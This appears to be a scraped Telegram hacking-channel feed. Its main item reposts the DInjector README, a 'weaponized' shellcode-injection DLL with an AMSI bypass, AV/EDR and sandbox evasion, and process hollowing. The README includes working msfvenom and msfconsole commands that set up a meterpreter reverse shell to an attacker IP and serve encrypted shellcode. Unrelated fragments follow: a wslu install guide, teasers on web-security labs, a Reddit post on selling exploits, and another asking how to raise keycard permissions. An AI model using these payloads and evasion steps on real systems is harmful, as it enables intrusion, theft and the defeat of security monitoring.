Hacking Articles Tips Tricks Videos Tutorials
471 subscribers
66K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
DInjector : Collection Of Shellcode Injection Techniques Packed In A D/Invoke Weaponized DLL

DInjector repository is an accumulation of my code snippets for various shellcode injection techniques using fantastic D/Invoke API by @TheWover and @FuzzySecurity.

Features:

* Fully ported to D/Invoke API
* Encrypted payloads which can be invoked from a URL or passed in base64 as an argument
* Built-in AMSI bypass
* PPID spoofing and block non-Microsoft DLLs (stolen from TikiTorch, write-up is here)
* Sandbox detection & evasion

https://s.w.org/images/core/emoji/13.1.0/72x72/2139.png Based on my testings the DInvoke NuGet package itself is being flagged by many commercial AV/EDR solutions when included as an embedded resource via Costura.Fody (or similar approaches), so I’ve shrinked it a bit and included from source to achieve better OpSec.

DISCLAIMER. All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool. Usage

* Compile the project in VS.
* Generate a shellcode for your favourite C2:

~$ msfvenom -p windows/x64/meterpreter/reverse_winhttps LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f raw -o shellcode.bin

Encrypt the shellcode:

~$ encrypt.py shellcode.bin -p ‘Passw0rd!’ -o enc

Serve the encrypted shellcode and prepare C2 listener:

~$ sudo python3 -m http.server 80
~$ sudo msfconsole -qx “use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_winhttps; set lhost 10.10.13.37; set lport 443; set EXITFUNC thread; run”

* Use the PowerShell download cradle to load DInjector.dll as System.Reflection.Assemblyand execute it from memory.

I do not recommend putting the assembly on disk because it will very likely be flagged.

Required global arguments:
NameExample ValueDescription/am51True, FalseApplies AMSI bypass/schttp://10.10.13.37/encSets shellcode path (can be loaded from URL or as a Base64 string)/passwordPassw0rd!Sets password to decrypt the shellcode Modules

OpSec safe considerations are based on my personal usage expirience and some testings along the way. FunctionPointer

module_name: ‘functionpointer’
description:
Allocates a RW memory region, copies the shellcode into it
and executes it like a function.
calls:
ntdll.dll:
1: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
2: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: false
references:
http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/
https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis
https://www.fergonez.net/post/shellcode-csharp

FunctionPointerV2

module_name: ‘functionpointerv2’
description:
Sets RX on a byte array and executes it like a function.
calls:
ntdll.dll:
1: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: false
references:
https://jhalon.github.io/utilizing-syscalls-in-csharp-1/
https://jhalon.github.io/utilizing-syscalls-in-csharp-2/
https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs

ClipboardPointer

module_name: ‘clipboardpointer’
description:
Copies shellcode bytes into the clipboard,
sets RX on it and executes it like a function.
calls:
user32.dll:
1: ‘OpenClipboard’
2: ‘SetClipboardData’
3: ‘CloseClipboard’
ntdll.dll:
1: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
opsec_safe: true
references:

CurrentThread

module_name: ‘currentthread’
description:
Injects shellcode into current process.
Thread execution via NtCreateThreadEx.
calls:
ntdll.dll:
1: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
2: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
3: ‘NtCreateThreadEx’
4: ‘NtWaitForSingleObject’
5: ‘NtFreeVirtualMemor[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials DInjector : Collection Of Shellcode Injection Techniques Packed In A D/Invoke Weaponized DLL DInjector repository is an accumulation of my code snippets for various shellcode injection techniques using fantastic D/Invoke API by @TheWover…
y (shellcode)’
opsec_safe: false
references:
https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs

CurrentThreadUuid

module_name: ‘currentthreaduuid’
description:
Injects shellcode into current process.
Thread execution via EnumSystemLocalesA.
calls:
kernel32.dll:
1: ‘HeapCreate’
2: ‘EnumSystemLocalesA’
rpcrt4.dll:
1: ‘UuidFromStringA’
opsec_safe: false
references:
https://blog.sunggwanchoi.com/eng-uuid-shellcode-execution/
https://github.com/ChoiSG/UuidShellcodeExec/blob/main/USEConsole/Program.cs

RemoteThread

module_name: ‘remotethread’
arguments:
/pid:1337
description:
Injects shellcode into an existing remote process.
Thread execution via NtCreateThreadEx.
calls:
ntdll.dll:
1: ‘NtOpenProcess’
2: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
3: ‘NtWriteVirtualMemory (shellcode)’
4: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
5: ‘NtCreateThreadEx’
opsec_safe: false
references:
https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs

RemoteThreadDll

module_name: ‘remotethreaddll’
arguments:
/pid:1337
/dll:msvcp_win.dll
description:
Injects shellcode into an existing remote process
overwriting one of its loaded modules’ .text section.
Thread execution via NtCreateThreadEx.
calls:
ntdll.dll:
1: ‘NtOpenProcess’
2: ‘NtWriteVirtualMemory (shellcode)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
4: ‘NtCreateThreadEx’
opsec_safe: –
references:
https://www.netero1010-securitylab.com/eavsion/alternative-process-injection

RemoteThreadContext

module_name: ‘remotethreadcontext’
arguments:
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description:
Injects shellcode into a newly spawned remote process.
Thread execution via SetThreadContext.
calls:
kernel32.dll:
1: ‘InitializeProcThreadAttributeList’
2: ‘UpdateProcThreadAttribute (blockDLLs)’
3: ‘UpdateProcThreadAttribute (PPID)’
4: ‘CreateProcessA’
ntdll.dll:
1: ‘NtAllocateVirtualMemory (PAGE_READWRITE)’
2: ‘NtWriteVirtualMemory (shellcode)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READ)’
4: ‘NtCreateThreadEx (CREATE_SUSPENDED)’
5: ‘GetThreadContext’
6: ‘SetThreadContext’
7: ‘NtResumeThread’
opsec_safe: true
references:
https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/
https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs

ProcessHollow

module_name: ‘processhollow’
arguments:
/image:C:\Windows\System32\svchost.exe
/ppid:31337
/blockDlls:True
description:
Injects shellcode into a newly spawned remote process.
Thread execution via NtResumeThread (hollowing with shellcode).
calls:
kernel32.dll:
1: ‘InitializeProcThreadAttributeList’
2: ‘UpdateProcThreadAttribute (blockDLLs)’
3: ‘UpdateProcThreadAttribute (PPID)’
4: ‘CreateProcessA’
ntdll.dll:
1: ‘NtQueryInformationProcess’
2: ‘NtReadVirtualMemory (ptrImageBaseAddress)’
3: ‘NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)’
4: ‘NtWriteVirtualMemory (shellcode)’
5: ‘NtProtectVirtualMemory (oldProtect)’
6: ‘NtResumeThread’
opsec_safe: false
references:
https://github.com/CCob/SharpBlock/blob/master/Program.cs’ Download
Microsoft Team’s Unpatched URL Spoofing Vulnerability

What is URL Spoofing?Continue reading on Medium »
Read more...
PORTSWIGGER WEB SECURITY - INFORMATION DISCLOSURE LAB ÇÖZÜMLERİ

Information Disclosure - Bilgi Sızıntısı olarak tanımlanan güvenlik zafiyeti, bir web uygulamasında kullanıcılara istemsiz bir şekilde…Continue reading on Medium »
Read more...
This is a collection of utilities for Windows 10 (https://www.kitploit.com/search/label/Windows%2010) Linux Subsystem, such as retrieving Windows (https://www.kitploit.com/search/label/Windows) 10 environment variables or creating your favorite Linux GUI application shortcuts on Windows 10 Desktop. Requires Windows 10 Creators Update; Some of the feature requires a higher version of Windows 10; Supports WSL2.
Feature wslusc A WSL shortcut creator to create a shortcut on your Windows 10 Desktop. wslsys A WSL system information printer to print out system informations from Windows 10 or WSL. wslfetch A WSL screenshot (https://www.kitploit.com/search/label/Screenshot) information tool to print information in an elegant way. wslvar A WSL tool to help you get Windows system environment variables. wslview With alias wview/wslstart/wstart A fake WSL browser that can help you open link in default Windows browser or open files on Windows. wslupath Deprecated A WSL tool to convert path styles. wslact A set of quick actions for WSL such as quickly mounting all drives or manually sync time between Windows and WSL. Installation Alpine Linux You can install wslu on Alpine Linux 3.12+ with the following command: sudo apk add wslu
Arch Linux AUR version of wslu is pulled due to that it violated its policy. Download the latest package from release and install using the command: sudo pacman -U *.zst CentOS/RHEL/Oracle Linux Add the repository for the corresponding Linux distribution: CentOS 7: sudo yum-config-manager --add-repo https://download.opensuse.org/repositories/home:/wslutilities/CentOS_7/home:wslutilities.repo
CentOS 8: sudo dnf install -y epel-release
sudo dnf config-manager --set-enabled PowerTools
sudo yum-config-manager --add-repo https://download.opensuse.org/repositories/home:/wslutilities/CentOS_8/home:wslutilities.repo
Oracle Linux 7: sudo yum-config-manager --add-repo https://download.opensuse.org/repositories/home:/wslutilities/RHEL_7/home:wslutilities.repo
Oracle Linux 8: sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
sudo subscription-manager repos --enable codeready-builder-for-rhel-8-$(/bin/arch)-rpms
sudo yum-config-manager --add-repo https://download.opensuse.org/repositories/home:/wslutilities/CentOS_8/home:wslutilities.repo
Red Hat Enterprise Linux 7: sudo yum-config-manager --add-repo https://download.opensuse.org/repositories/home:/wslutilities/RHEL_7/home:wslutilities.repo
Red Hat Enterprise Linux 8: sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
sudo subscription-manager repos --enable codeready-builder-for-rhel-8-$(/bin/arch)-rpms
sudo yum-config-manager --add-repo https://download.opensuse.org/repositories/home:/wslutilities/CentOS_8/home:wslutilities.repo
Then install with the command sudo yum install wslu. Debian You can install wslu with the following command: sudo apt install gnupg2 apt-transport-https
wget -O - https://pkg.wslutiliti.es/public.key | sudo tee -a /etc/apt/trusted.gpg.d/wslu.asc
echo "deb https://pkg.wslutiliti.es/debian buster main" | sudo tee -a /etc/apt/sources.list
sudo apt update
sudo apt install wslu
Fedora sudo dnf copr enable wslutilities/wslu
sudo dnf install wslu
Fedora Remix for WSL Preinstalled. Kali Linux You can install wslu with the following command: sudo apt install gnupg2 apt-transport-https
wget -O - https://pkg.wslutiliti.es/public.key | sudo tee -a /etc/apt/trusted.gpg.d/wslu.asc
echo "deb https://pkg.wslutiliti.es/kali kali-rolling main" | sudo tee -a /etc/apt/sources.list
sudo apt update
sudo apt install wslu
Pengwin Preinstalled. Pengwin Enterprise 7 You can install wslu with the following command: sudo yum install wslu
Pengwin Enterprise 8 Add the EPEL repository: sudo dnf install -y epel-release
You can install wslu with the following command: sudo dnf install -y wslu
Ubuntu Attention! For Ubuntu version, you should not only report bug here but also report bug at Launchpad (https://bugs.launchpad.net/ubuntu/+source/wslu). Preinstalled in the latest apps. On older installations of Ubuntu please install ubuntu-wsl that depends on wslu: sudo apt update
sudo apt install ubuntu-wsl
To install the latest version before wslu reaches main reporsitory, you can install via our PPA: https://launchpad.net/~wslutilities/+archive/ubuntu/wslu OpenSUSE You can install wslu with the following command: sudo zypper addrepo https://download.opensuse.org/repositories/home:/wslutilities/openSUSE_Leap_15.1/home:wslutilities.repo
sudo zypper up
sudo zypper in wslu
SUSE Linux Enperprise Server You can install wslu with the following command: SLESCUR_VERSION="$(grep VERSION= /etc/os-release | sed -e s/VERSION=//g -e s/\"//g -e s/-/_/g)"
sudo zypper addrepo https://download.opensuse.org/repositories/home:/wslutilities/SLE_$SLESCUR_VERSION/home:wslutilities.repo
sudo zypper addrepo https://download.opensuse.org/repositories/graphics/SLE_12_SP3_Backports/graphics.repo
sudo zypper up
sudo zypper in wslu
Other distributions Not Recommend curl | bash method is not secure. Related article (https://sandstorm.io/news/2015-09-24-is-curl-bash-insecure-pgp-verified-install) You can install wslu with the following command on your preferred distribution: curl -sL https://raw.githubusercontent.com/wslutilities/wslu/master/extras/scripts/wslu-install | bash
License & Credits This project uses GPLv3 (https://github.com/wslutilities/wslu/blob/master/LICENSE) License. Logo of WSL Utilities and icons for wslusc desktop (https://www.kitploit.com/search/label/Desktop) shortcuts are licensed under CC BY 4.0 International License (http://creativecommons.org/licenses/by/4.0/). For other third party files and assets used, please refer to THIRD_PARTY_LICENSE (https://github.com/wslutilities/wslu/blob/master/THIRD_PARTY_LICENSE).

Download Wslu (https://github.com/wslutilities/wslu)
Login function module: User Authentication .

Input: User id and Password SQL: select * from admin where user_id = 'admin' and password=’****'Continue reading on Medium »
Read more...
hacking: security in practice
What to do with working exploits for major open-source projects or specific proprietary software?

Look, I know the general rules of the road on how it’s illegal to sell remote access, data, etc. on the open market. And there’s obviously ongoing conversation about what’s ethical/unethical in terms of packaging exploits as assets to be sold off to the private sector but I’ll save that for another date…

But for working exploits developed through source code review and (some) black box testing, I can’t find any information on whether it’d be illegal/prohibited to sell said exploits on the open market yourself (assuming you know you’re not selling to criminals)? Is there a legal reason I’m missing to why people to individually auction off their exploits rather than bend the knee to companies like Zerodium, ZDI, etc. that largely dictate the market mechanics?

Asking for a friend

submitted by /u/heap-spray-n-pray
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video
hacking: security in practice
What content is on a security card?

I'm a beginner
I just opened a key card's content, but the content makes no sense! How do I interpret the content? The content is hexadecimals, but when transferred to numbers they're like 20,30,31,32,21,22.
Is there any way to actually find out how they have been used or what they are, that way I can ELEVATE the permissions for the user on the card. If permissions are stored in a database linked with your UID on the card, then I suppose something can't be done. But IF it's stored on the keycard, how do I find this out?

FYI: This is not black hat, my friend asked me to check if I could open his key card for his work.

submitted by /u/byggmesterPRO
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video